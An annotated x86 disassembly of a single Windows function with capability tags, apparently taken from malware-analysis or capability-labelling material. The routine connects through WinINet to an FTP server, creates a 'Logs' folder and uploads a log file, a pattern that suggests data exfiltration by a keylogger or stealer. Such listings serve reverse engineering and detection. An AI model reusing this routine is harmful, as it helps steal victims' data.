Function at 0x10011870
Capabilities:
Connect to http server
Create http request
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100369b8
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x1004b034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
cmp dword [0x10160870], ebx
jne 0x10011c40
sub esp, 0x1c
mov esi, esp
mov eax, 0x1015d168
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x84], esp
mov byte [esi], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x100118c8
sub eax, ecx
mov edi, eax
mov eax, 0x1015d168
call fcn.10002d20
lea ecx, [ebp - 0x80]
call fcn.1000e020
mov esi, esp
mov dword [ebp - 4], ebx
mov eax, 0x1015d230
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x84], esp
mov byte [esi], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10011904
sub eax, ecx
mov edi, eax
mov eax, 0x1015d230
call fcn.10002d20
lea ecx, [ebp - 0x48]
call fcn.1000e020
mov esi, esp
mov byte [ebp - 4], 1
mov eax, 0x1015d2f8
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov dword [ebp - 0x84], esp
mov byte [esi], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x10011941
sub eax, ecx
mov edi, eax
mov eax, 0x1015d2f8
call fcn.10002d20
lea ecx, [ebp - 0x64]
call fcn.1000e020
add esp, 0x1c
mov byte [ebp - 4], 2
call fcn.1000e240
push ebx
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edx, dword [ebp - 0x64]
mov edi, eax
mov eax, 0x10
cmp dword [ebp - 0x50], eax
jae 0x10011988
lea edx, [ebp - 0x64]
mov ecx, dword [ebp - 0x48]
cmp dword [ebp - 0x34], eax
jae 0x10011993
lea ecx, [ebp - 0x48]
cmp dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x80]
jae 0x1001199e
lea eax, [ebp - 0x80]
push ebx
push 0x8000000
push 1
push edx
push ecx
push 0x15
push eax
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
push str.Logs
push esi
call dword [sym.imp.WININET.dll_FtpCreateDirectoryA]
push 5
mov eax, str.Logs_
mov ecx, 0x10158360
call fcn.100087a0
mov eax, 0x1015ef88
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x100119e0
sub eax, ecx
push eax
mov eax, 0x1015ef88
mov ecx, 0x10158360
call fcn.100087a0
push 0x17
mov eax, str..Xor_PlusLogsLog.txt
mov ecx, 0x10158344
call fcn.100087a0
mov ecx, dword [0x10158360]
mov eax, 0x10
cmp dword [0x10158374], eax
jae 0x10011a22
mov ecx, 0x10158360
cmp dword [0x10158358], eax
mov eax, dword [0x10158344]
jae 0x10011a34
mov eax, 0x10158344
push ebx
push 2
push ecx
push eax
push esi
call dword [sym.imp.WININET.dll_FtpPutFileA]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x64]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x64]
mov byte [ebp - 4], 3
call fcn.100032d0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], 0x10
jb 0x10011a80
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea edx, [ebp - 0x2c]
push edx
lea ecx, [ebp - 0x80]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 4
call fcn.100032d0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], 0x10
jb 0x10011ab4
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0x48]
call fcn.100025f0
add esp, 4
mov edi, eax
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 5
call fcn.100032d0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], 0x10
jb 0x10011ae8
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x10], ebx
lea eax, [ebp - 0x80]
mov dword [ebp - 0x84], esp
mov dword [ecx + 0x14], 0xf
mov byte [ecx], bl
push eax
or eax, 0xffffffff
xor ebx, ebx
call fcn.100031f0
lea ecx, [ebp - 0x2c]
call fcn.1000de70
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0x80]
mov byte [ebp - 4], 6
call fcn.100032d0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], 0x10
jb 0x10011b3d
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
lea edx, [ebp - 0x48]
mov dword [ebp - 0x84], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
or eax, 0xffffffff
xor ebx, ebx
mov byte [ecx], 0
call fcn.100031f0
lea ecx, [ebp - 0x2c]
call fcn.1000de70
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 7
call fcn.100032d0
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], 0x10
jb 0x10011b97
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
sub esp, 0x1c
mov ecx, esp
lea edx, [ebp - 0x64]
mov dword [ebp - 0x84], esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push edx
or eax, 0xffffffff
xor ebx, ebx
mov byte [ecx], 0
call fcn.100031f0
lea ecx, [ebp - 0x2c]
call fcn.1000de70
add esp, 0x1c
mov edi, eax
lea esi, [ebp - 0x64]
mov byte [ebp - 4], 8
call fcn.100032d0
mov esi, 0x10
cmp dword [ebp - 0x18], esi
jb 0x10011bf1
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp dword [ebp - 0x50], esi
jb 0x10011c03
mov ecx, dword [ebp - 0x64]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor ebx, ebx
mov edi, 0xf
mov dword [ebp - 0x50], edi
mov dword [ebp - 0x54], ebx
mov byte [ebp - 0x64], bl
cmp dword [ebp - 0x34], esi
jb 0x10011c25
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
mov byte [ebp - 0x48], bl
cmp dword [ebp - 0x6c], esi
jb 0x10011c40
mov eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10034620
mov esp, ebp
pop ebp
ret